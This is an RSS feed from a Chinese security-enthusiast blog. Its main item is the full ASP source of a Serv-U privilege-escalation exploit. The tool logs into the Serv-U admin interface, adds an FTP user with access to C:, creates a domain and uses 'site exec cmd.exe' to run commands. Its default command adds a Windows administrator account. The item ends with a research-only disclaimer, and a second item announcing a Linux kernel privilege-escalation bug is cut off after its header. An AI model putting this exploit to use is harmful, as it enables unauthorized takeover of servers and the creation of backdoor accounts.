<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[苦咖啡-网络安全爱好者-我不在乎自己有多少伤痕累累，我只在乎今后你让谁陪]]></title>
<link>http://www.kukafei520.net/blog/</link>
<description><![CDATA[网络中我能呼风唤雨,而现实中我却是寸步难行, ------------ 苦咖啡]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[voilet119@163.com(苦咖啡)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>苦咖啡-网络安全爱好者-我不在乎自己有多少伤痕累累，我只在乎今后你让谁陪</title>
	<url>http://www.kukafei520.net/blog/images/logos.gif</url>
	<link>http://www.kukafei520.net/blog/</link>
	<description>苦咖啡-网络安全爱好者-我不在乎自己有多少伤痕累累，我只在乎今后你让谁陪</description>
</image>

			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=452</link>
			<title><![CDATA[serv-u 最新通杀所有版本 EXP]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Thu,02 Feb 2012 09:37:02 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=452</guid>
		<description><![CDATA[<div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code2729);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.kukafei520.net/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code2729><br/>&lt;style type=&#34;text/css&#34;&gt;<br/>&lt;!--<br/>body,td,th {<br/>font-size: 12px;<br/>}<br/>--&gt;<br/>&lt;/style&gt;<br/>&lt;%<br/>Function httpopen(neirong,fangshi,dizhi,refer,cookie)<br/>set Http=server.cr&#101;ateobject(&#34;Microsoft.XMLHTTP&#34;)<br/>Http.open fangshi,dizhi,false<br/>Http.setrequestheader &#34;Referer&#34;,refer<br/>Http.setrequestheader &#34;Content-type&#34;,&#34;application/x-www-form-urlencoded&#34;<br/>Http.setrequestheader &#34;Content-length&#34;,len(neirong)<br/>Http.setrequestheader &#34;User-Agent&#34;,&#34;Serv-U&#34;<br/>Http.setrequestheader &#34;x-user-agent&#34;,&#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)&#34;<br/>If cookie&lt;&gt;&#34;&#34; then<br/>Http.setrequestheader &#34;Cookie&#34;,cookie<br/>End If<br/>Http.send neirong<br/>httpopen=bytes2BSTR(Http.responseBody)<br/>set Http=nothing<br/>end Function<br/><br/>Function getmidstr(L,R,str)<br/>int_left=instr(str,L)<br/>int_right=instr(str,R)<br/>If int_left&gt;0 and int_right&gt;0 Then <br/>getmidstr=mid(str,int_left+len(L),int_right-int_left-len(L))<br/>Else<br/>getmidstr=&#34;执行的字符串中不包含“&#34;&amp;L&amp;&#34;”或“&#34;&amp;R&amp;&#34;”&#34; <br/>End If<br/>end Function<br/><br/>Function bytes2BSTR(vIn) <br/>strReturn = &#34;&#34; <br/>For i = 1 To LenB(vIn) <br/>ThisCharCode = AscB(MidB(vIn,i,1)) <br/>If ThisCharCode &lt; &amp;H80 Then <br/>strReturn = strReturn &amp; Chr(ThisCharCode) <br/>Else <br/>NextCharCode = AscB(MidB(vIn,i+1,1)) <br/>strReturn = strReturn &amp; Chr (CLng(ThisCharCode) * &amp;H100 + CInt(NextCharCode)) <br/>i = i + 1 <br/>End If <br/>Next <br/>bytes2BSTR = strReturn <br/>End Function <br/>%&gt;<br/>&lt;%<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;----------自定义参数开始-----------<br/><br/>action=Request(&#34;action&#34;)<br/>loginpass=Request.Form(&#34;loginpass&#34;)<br/>port=Request(&#34;port&#34;)<br/>mydomain=Request.Form(&#34;mydomain&#34;)<br/>path=Request.Form(&#34;path&#34;)<br/>ftpport = Request.Form(&#34;ftpport&#34;)<br/>user=Request.Form(&#34;user&#34;)<br/>pass=Request.Form(&#34;pass&#34;)<br/>cmd= Request.Form(&#34;cmd&#34;)<br/>sessionid=Request(&#34;sessionid&#34;)<br/>o&#114;ganizationId=Request(&#34;OrganizationId&#34;)<br/>userid=Request(&#34;userid&#34;)<br/>domainid=Request(&#34;domainid&#34;)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;----------自定义参数结束-----------<br/><br/>sel&#101;ct case action<br/><br/>case 1<br/>&nbsp;&nbsp; returns=httpopen(&#34;user=&amp;pword=&#34;&amp;loginpass&amp;&#34;&amp;language=zh%2CCN%26&#34;,&#34;POST&#34;,&#34;&#34;,&#34;&#34;)<br/>&nbsp;&nbsp; sessionid=getmidstr(&#34;&lt;sessionid&gt;&#34;,&#34;&lt;/sessionid&gt;&#34;,returns)<br/>&nbsp;&nbsp; if sessionid&lt;&gt;&#34;&#34; then<br/>&nbsp;&nbsp; Response.Write &#34;login ok!&#34;&amp;&#34;&lt;/br&gt;&#34;<br/>&nbsp;&nbsp; Response.redirect &#34;?action=2&amp;sessionid=&#34;&amp;sessionid&amp;&#34;&amp;port=&#34;&amp;port<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp; Response.Write &#34;error!&#34;&amp;&#34;&lt;/br&gt;&#34;<br/>&nbsp;&nbsp; end if&nbsp;&nbsp;<br/><br/>case 2<br/>&nbsp;&nbsp; call main2()<br/><br/>case 3<br/>&nbsp;&nbsp; returns=httpopen(&#34;&#34;,&#34;POST&#34;,&#34;)<br/>&nbsp;&nbsp; o&#114;ganizationIdTemp=mid(returns,instr(returns,&#34;OrganizationUsers.xml&amp;ID=&#34;),len(&#34;OrganizationUsers.xml&amp;ID=&#34;)+15)<br/>&nbsp;&nbsp; o&#114;ganizationId=mid(OrganizationIdTemp,instr(OrganizationIdTemp,&#34;=&#34;)+1,instr(OrganizationIdTemp,&#34;&#34;&#34;&#34;)-instr(OrganizationIdTemp,&#34;=&#34;)-1)<br/>&nbsp;&nbsp; if o&#114;ganizationId&lt;&gt;&#34;&#34; then<br/>&nbsp;&nbsp; Response.write &#34;get o&#114;ganizationId &#34;&amp;OrganizationId&amp;&#34; ok!&#34;&amp;&#34;&lt;/br&gt;&#34;<br/>&nbsp;&nbsp; Response.redirect &#34;?action=4&amp;sessionid=&#34;&amp;sessionid&amp;&#34;&amp;port=&#34;&amp;port&amp;&#34;&amp;OrganizationId=&#34;&amp;OrganizationId<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp; Response.write &#34;error!&#34;&amp;&#34;&lt;/br&gt;&#34;<br/>&nbsp;&nbsp; end if<br/><br/>case 4<br/>&nbsp;&nbsp; call main3()<br/><br/>case 5<br/>&nbsp;&nbsp; returns=httpopen(&#34;&#34;,&#34;POST&#34;,&#34;)<br/>userid=getmidstr(&#34;&lt;var name=&#34;&#34;ObjectID&#34;&#34; val=&#34;&#34;&#34;,&#34;&#34;&#34; /&gt;&#34;,returns)<br/>&nbsp;&nbsp; if userid&lt;&gt;&#34;&#34; then<br/>&nbsp;&nbsp; Response.write &#34;get userid &#34;&amp;userid&amp;&#34; ok!&#34;&amp;&#34;&lt;/br&gt;&#34;<br/>&nbsp;&nbsp; Response.redirect &#34;?action=6&amp;sessionid=&#34;&amp;sessionid&amp;&#34;&amp;port=&#34;&amp;port&amp;&#34;&amp;OrganizationId=&#34;&amp;OrganizationId&amp;&#34;&amp;userid=&#34;&amp;userid<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp; Response.write &#34;error!&#34;<br/>&nbsp;&nbsp; end if<br/><br/>case 6<br/>&nbsp;&nbsp; call main4()<br/><br/>case 7<br/>&nbsp;&nbsp; returns=httpopen(&#34;Access=7999&amp;MaxSize=0&amp;Dir=%2Fc%3A&amp;undefined=undefined&amp;MaxSizeDisp=&amp;&#34;,&#34;POST&#34;,&#34;)<br/>&nbsp;&nbsp; returns=httpopen(&#34;LoginID=&#34;&amp;user&amp;&#34;&amp;FullName=&amp;Password=&#34;&amp;pass&amp;&#34;&amp;ComboPasswordType=%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81&amp;PasswordType=0&amp;ComboAdminType=%E6%97%A0%E6%9D%83%E9%99%90&amp;AdminType=&amp;ComboHomeDir=%2FC%3A&amp;HomeDir=%2F&#34;&amp;path&amp;&#34;&amp;ComboType=%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7&amp;Type=0&amp;ExpiresOn=0&amp;ComboWebClientStartupMode=%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF&amp;WebClientStartupMode=&amp;LockInHomeDir=0&amp;Enabled=1&amp;AlwaysAllowLogin=1&amp;Description=&amp;=&amp;IncludeRespCodesInMsgFiles=&amp;ComboSignOnMessageFilePath=&amp;SignOnMessageFilePath=&amp;SignOnMessage=&amp;SignOnMessageText=&amp;ComboLimitType=%E8%BF%9E%E6%8E%A5&amp;LimitType=Connection&amp;QuotaBytes=0&amp;Quota=0&amp;&#34;,&#34;POST&#34;,&#34;)<br/>&nbsp;&nbsp; Response.write &#34;add user ok!&#34;&amp;&#34;&lt;/br&gt;&#34;<br/>&nbsp;&nbsp; Response.redirect &#34;?action=8&amp;userid=&#34;&amp;userid&amp;&#34;&amp;port=&#34;&amp;port&amp;&#34;&amp;sessionid=&#34;&amp;sessionid&amp;&#34;&amp;OrganizationId=&#34;&amp;OrganizationId<br/><br/>case 8<br/>&nbsp;&nbsp; call main5()<br/><br/>case 9<br/>&nbsp;&nbsp; returns=httpopen(&#34;DomainName=&#34;&amp;mydomain&amp;&#34;&amp;Description=test1&amp;Enabled=1&amp;EnableFTP=1&amp;EnableFTPS=0&amp;EnableSSH=0&amp;EnableHTTP=0&amp;EnableHTTPS=0&amp;FTPPort=&#34;&amp;ftpport&amp;&#34;&amp;FTPSPort=990&amp;SSHPort=22&amp;HTTPPort=80&amp;HTTPSPort=443&amp;BindIPAddress=&amp;&#34;,&#34;POST&#34;,&#34;)<br/>&nbsp;&nbsp; domainid=getmidstr(&#34;&lt;ObjectID&gt;&#34;,&#34;&lt;/ObjectID&gt;&#34;,returns)<br/>&nbsp;&nbsp; Response.write &#34;cr&#101;ate domain ok!&#34;&amp;&#34;&lt;/br&gt;&#34;<br/>&nbsp;&nbsp; Response.redirect &#34;?action=10&amp;userid=&#34;&amp;userid&amp;&#34;&amp;port=&#34;&amp;port&amp;&#34;&amp;sessionid=&#34;&amp;sessionid&amp;&#34;&amp;OrganizationId=&#34;&amp;OrganizationId&amp;&#34;&amp;domainid=&#34;&amp;domainid<br/><br/>case 10<br/>&nbsp;&nbsp; call main6()<br/><br/>case 11<br/>&nbsp;&nbsp; set b=Server.Cr&#101;ateObject(&#34;Microsoft.XMLHTTP&#34;)<br/>&nbsp;&nbsp; b.open &#34;GET&#34;, &#34;&#34;, false, &#34;&#34;, &#34;&#34;<br/>&nbsp;&nbsp; b.send &#34;User &#34; &amp; user &amp; vbCrLf &amp; &#34;pass &#34;&amp; pass &amp; vbCrLf &amp; &#34;site exec c:\windows\system32\cmd.exe /c &#34;&amp; cmd &amp; vbCrLf &amp; &#34;QUIT&#34; &amp; vbCrLf<br/>&nbsp;&nbsp; Response.Write Replace(b.responseText,chr(13),&#34;&lt;br&gt;&#34;)<br/>&nbsp;&nbsp; Response.redirect &#34;?action=12&amp;userid=&#34;&amp;userid&amp;&#34;&amp;port=&#34;&amp;port&amp;&#34;&amp;sessionid=&#34;&amp;sessionid&amp;&#34;&amp;OrganizationId=&#34;&amp;OrganizationId&amp;&#34;&amp;domainid=&#34;&amp;domainid<br/><br/>case 12<br/>&nbsp;&nbsp; call main7()<br/><br/>case 13<br/>&nbsp;&nbsp; returns=httpopen(&#34;IDs=&#34;&amp;domainid&amp;&#34;&amp;&#34;,&#34;POST&#34;,&#34;)<br/>&nbsp;&nbsp; Response.Write &#34;临时域清理完毕!用户请手动清理,因为serv-u的userid变化我搞不懂.&#34;&amp;&#34;&lt;/br&gt;&#34;<br/><br/>case else<br/>&nbsp;&nbsp; call main1()<br/><br/>end sel&#101;ct<br/><br/>sub main1()<br/>%&gt;<br/>&lt;form id=&#34;form1&#34; name=&#34;form1&#34; method=&#34;post&#34; action=&#34;?action=1&#34;&gt;<br/>&lt;table width=&#34;264&#34; border=&#34;0&#34; align=&#34;center&#34; cellpadding=&#34;0&#34; cellspacing=&#34;0&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;strong&gt;第一步:获取sessionid&lt;/strong&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;管理端口:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;port&#34; type=&#34;text&#34; id=&#34;port&#34; value=&#34;43958&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;管理员密码:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;loginpass&#34; type=&#34;text&#34; id=&#34;loginpass&#34; value=&#34;1&#34; /&gt;&lt;/td&gt;<br/>&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;input type=&#34;submit&#34; name=&#34;button&#34; id=&#34;button&#34; value=&#34;提交&#34; /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&lt;/table&gt;<br/>&lt;/form&gt;<br/>&lt;p align=center&gt;&lt;strong&gt;一般情况下不用改,如果管理员改了的话就填上去.&lt;/strong&gt;&lt;/p&gt;<br/>&lt;%<br/>end sub<br/>%&gt;<br/>&lt;% sub main2() %&gt;<br/><br/>&lt;form id=&#34;form1&#34; name=&#34;form1&#34; method=&#34;post&#34; action=&#34;?action=3&amp;sessionid=&lt;%=sessionid%&gt;&amp;port=&lt;%=port%&gt;&#34;&gt;<br/>&lt;table width=&#34;264&#34; border=&#34;0&#34; align=&#34;center&#34; cellpadding=&#34;0&#34; cellspacing=&#34;0&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;strong&gt;第二步:获取OrganizationId&lt;/strong&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;input type=&#34;submit&#34; name=&#34;button&#34; id=&#34;button&#34; value=&#34;提交&#34; /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&lt;/table&gt;<br/>&lt;/form&gt;<br/>&lt;p align=center&gt;&lt;strong&gt;这一步有点慢,请等待.&lt;/strong&gt;&lt;/p&gt;<br/><br/>&lt;% end sub %&gt;<br/>&lt;% sub main3() %&gt;<br/><br/>&lt;form id=&#34;form1&#34; name=&#34;form1&#34; method=&#34;post&#34; action=&#34;?action=5&amp;sessionid=&lt;%=sessionid%&gt;&amp;port=&lt;%=port%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;&#34;&gt;<br/>&lt;table width=&#34;264&#34; border=&#34;0&#34; align=&#34;center&#34; cellpadding=&#34;0&#34; cellspacing=&#34;0&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;strong&gt;第三步:获取userid&lt;/strong&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;input type=&#34;submit&#34; name=&#34;button&#34; id=&#34;button&#34; value=&#34;提交&#34; /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&lt;/table&gt;<br/>&lt;/form&gt;<br/><br/>&lt;% end sub %&gt;<br/>&lt;% sub main4() %&gt;<br/><br/>&lt;form id=&#34;form1&#34; name=&#34;form1&#34; method=&#34;post&#34; action=&#34;?action=7&amp;sessionid=&lt;%=sessionid%&gt;&amp;port=&lt;%=port%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;&amp;userid=&lt;%=userid%&gt;&#34;&gt;<br/>&lt;table width=&#34;264&#34; border=&#34;0&#34; align=&#34;center&#34; cellpadding=&#34;0&#34; cellspacing=&#34;0&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;strong&gt;第四步:加用户&lt;/strong&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;新ftp账号:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;user&#34; type=&#34;text&#34; id=&#34;user&#34; value=&#34;ash&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;新ftp密码:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;pass&#34; type=&#34;text&#34; id=&#34;pass&#34; value=&#34;hahaha&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;系统路径:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;path&#34; type=&#34;text&#34; id=&#34;path&#34; value=&#34;c:&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;input type=&#34;submit&#34; name=&#34;button&#34; id=&#34;button&#34; value=&#34;提交&#34; /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&lt;/table&gt;<br/>&lt;/form&gt;<br/><br/>&lt;% end sub %&gt;<br/>&lt;% sub main5() %&gt;<br/><br/>&lt;form id=&#34;form1&#34; name=&#34;form1&#34; method=&#34;post&#34; action=&#34;?action=9&amp;port=&lt;%=port%&gt;&amp;userid=&lt;%=userid%&gt;&amp;sessionid=&lt;%=sessionid%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;&#34;&gt;<br/>&lt;table width=&#34;264&#34; border=&#34;0&#34; align=&#34;center&#34; cellpadding=&#34;0&#34; cellspacing=&#34;0&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;strong&gt;第五步:创建域&lt;/strong&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;要添加的域:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;mydomain&#34; type=&#34;text&#34; id=&#34;mydomain&#34; value=&#34;testhack&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;域端口:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;ftpport&#34; type=&#34;text&#34; id=&#34;ftpport&#34; value=&#34;60000&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;input type=&#34;submit&#34; name=&#34;button&#34; id=&#34;button&#34; value=&#34;提交&#34; /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&lt;/table&gt;<br/>&lt;/form&gt;<br/><br/>&lt;% end sub %&gt;<br/>&lt;% sub main6() %&gt;<br/><br/>&lt;form id=&#34;form1&#34; name=&#34;form1&#34; method=&#34;post&#34; action=&#34;?action=11&amp;port=&lt;%=port%&gt;&amp;userid=&lt;%=userid%&gt;&amp;sessionid=&lt;%=sessionid%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;&amp;domainid=&lt;%=domainid%&gt;&#34;&gt;<br/>&lt;table border=&#34;0&#34; align=&#34;center&#34; cellpadding=&#34;0&#34; cellspacing=&#34;0&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;strong&gt;执行命令&lt;/strong&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;FTP账号:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;user&#34; type=&#34;text&#34; id=&#34;user&#34; value=&#34;ash&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;FTP密码:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;pass&#34; type=&#34;text&#34; id=&#34;pass&#34; value=&#34;hahaha&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;FTP端口:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;ftpport&#34; type=&#34;text&#34; id=&#34;ftpport&#34; value=&#34;60000&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td align=&#34;right&#34;&gt;你的语句:&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;input name=&#34;cmd&#34; type=&#34;text&#34; id=&#34;cmd&#34; value=&#34;net user admin admin123456 /add&amp;net localgroup administrators admin /add&#34; size=&#34;80&#34; /&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;input type=&#34;submit&#34; name=&#34;button&#34; id=&#34;button&#34; value=&#34;提交&#34; /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&lt;/table&gt;<br/>&lt;/form&gt;<br/>&lt;p align=center&gt;&lt;strong&gt;注意:如果是serv-u 7.0,这里可以马上点提交.&lt;/strong&gt;&lt;/p&gt;<br/>&lt;p align=center&gt;&lt;strong&gt;注意:如果是serv-u 7.0以上,请在执行完上一步之后过大概半分钟才提交.&lt;/strong&gt;&lt;/p&gt;<br/><br/><br/>&lt;% end sub %&gt;<br/>&lt;% sub main7() %&gt;<br/><br/>&lt;form id=&#34;form1&#34; name=&#34;form1&#34; method=&#34;post&#34; action=&#34;?action=13&amp;port=&lt;%=port%&gt;&amp;userid=&lt;%=userid%&gt;&amp;sessionid=&lt;%=sessionid%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;&amp;domainid=&lt;%=domainid%&gt;&#34;&gt;<br/>&lt;table width=&#34;264&#34; border=&#34;0&#34; align=&#34;center&#34; cellpadding=&#34;0&#34; cellspacing=&#34;0&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;strong&gt;删除临时域&lt;/strong&gt;&lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br/>&nbsp;&nbsp; &lt;td colspan=&#34;2&#34; align=&#34;center&#34;&gt;&lt;input type=&#34;submit&#34; name=&#34;button&#34; id=&#34;button&#34; value=&#34;提交&#34; /&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br/>&lt;/table&gt;<br/>&lt;/form&gt;<br/><br/>&lt;% end sub %&gt;<br/></div></div><br/>仅供安全研究与教学之用,风险自负!]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=451</link>
			<title><![CDATA[Linux 2.6.39 到 3.2.0 爆提权漏洞]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Sun,29 Jan 2012 14:30:33 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=451</guid>
